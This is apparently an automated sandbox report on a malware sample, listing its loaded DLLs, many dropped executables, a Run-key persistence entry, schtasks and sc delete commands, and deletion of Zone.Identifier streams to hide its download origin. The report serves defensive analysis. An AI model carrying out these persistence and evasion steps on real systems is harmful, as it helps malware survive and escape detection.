Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Section loaded: onecoreuapcommonproxystub.dll

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: a0RkmvhSaf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mscorlib.pdb source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.ni.pdbRSDS source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.Management.pdb source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: mscorlib.ni.pdb source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.Management.ni.pdb source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.ni.pdb source: WERBE6A.tmp.dmp.12.dr
Source:	Binary string: System.pdb source: WERBE6A.tmp.dmp.12.dr

Source: a0RkmvhSaf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: a0RkmvhSaf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: a0RkmvhSaf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: a0RkmvhSaf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: a0RkmvhSaf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: 2047112978.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x6730
Source: newtpp[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x1ebcb
Source: 2052810334.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x12c25
Source: 230053364.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x1ebcb
Source: 396820397.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xd4ec
Source: 393932919.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xbb5f
Source: 634722489.exe.5.dr	Static PE information: real checksum: 0xd961 should be: 0x12961
Source: 5[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x10942
Source: 4[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x6730
Source: 11[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x16659
Source: 3[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x10942
Source: 6[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x105a9
Source: 2[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x12c25
Source: 7[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xbb5f
Source: 2028814805.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x105a9
Source: sysludpvs.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x1ebcb
Source: 417928448.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x10942
Source: 1[1].exe.5.dr	Static PE information: real checksum: 0xd961 should be: 0x12961
Source: 10[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xd4ec
Source: 8[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xf6a9
Source: 399630275.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x10942
Source: 203235335.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x16659

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Code function: 0_2_00F81A11 push ecx; ret	0_2_00F81A24
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Code function: 5_2_007B1B71 push ecx; ret	5_2_007B1B84
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Code function: 13_2_00007FF7C6B000BD pushad ; iretd	13_2_00007FF7C6B000C1
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Code function: 18_2_00007FF7C6B200BD pushad ; iretd	18_2_00007FF7C6B200C1
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Code function: 23_2_00007FF7C6AE00BD pushad ; iretd	23_2_00007FF7C6AE00C1
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Code function: 28_2_00007FF7C6AF00BD pushad ; iretd	28_2_00007FF7C6AF00C1
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Code function: 40_2_00007FF7C6B000BD pushad ; iretd	40_2_00007FF7C6B000C1
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Code function: 54_2_00007FF7C6B100BD pushad ; iretd	54_2_00007FF7C6B100C1
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Code function: 59_2_00007FF7C6B100BD pushad ; iretd	59_2_00007FF7C6B100C1

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Temp\230053364.exe

Executable created and started: C:\Windows\sysludpvs.exe

Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	File created: C:\Windows\sysludpvs.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\7[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\399630275.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\1216017805.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\203235335.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\2047112978.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\634722489.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\417928448.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\3[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\393932919.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\11[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\2052810334.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\4[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\2[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\newtpp[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\6[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\8[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\9[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\38822795.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\10[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	File created: C:\Users\user\AppData\Local\Temp\230053364.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\2028814805.exe	Jump to dropped file
Source: C:\Windows\sysludpvs.exe	File created: C:\Users\user\AppData\Local\Temp\152942395.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\2860723397.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Temp\396820397.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\1[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\5[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\12[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\230053364.exe

File created: C:\Windows\sysludpvs.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Service"

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Windows Settings			Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc delete "Windows Services"

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	File opened: C:\Users\user\AppData\Local\Temp\230053364.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	File opened: C:\Users\user\AppData\Local\Temp\230053364.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysludpvs.exe	File opened: C:\Windows\sysludpvs.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\sysludpvs.exe	File opened: C:\Users\user\AppData\Local\Temp\152942395.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\634722489.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\2052810334.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\417928448.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\2047112978.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\399630275.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\2028814805.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\393932919.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\1216017805.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\38822795.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\396820397.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\203235335.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	File opened: C:\Users\user\AppData\Local\Temp\2860723397.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
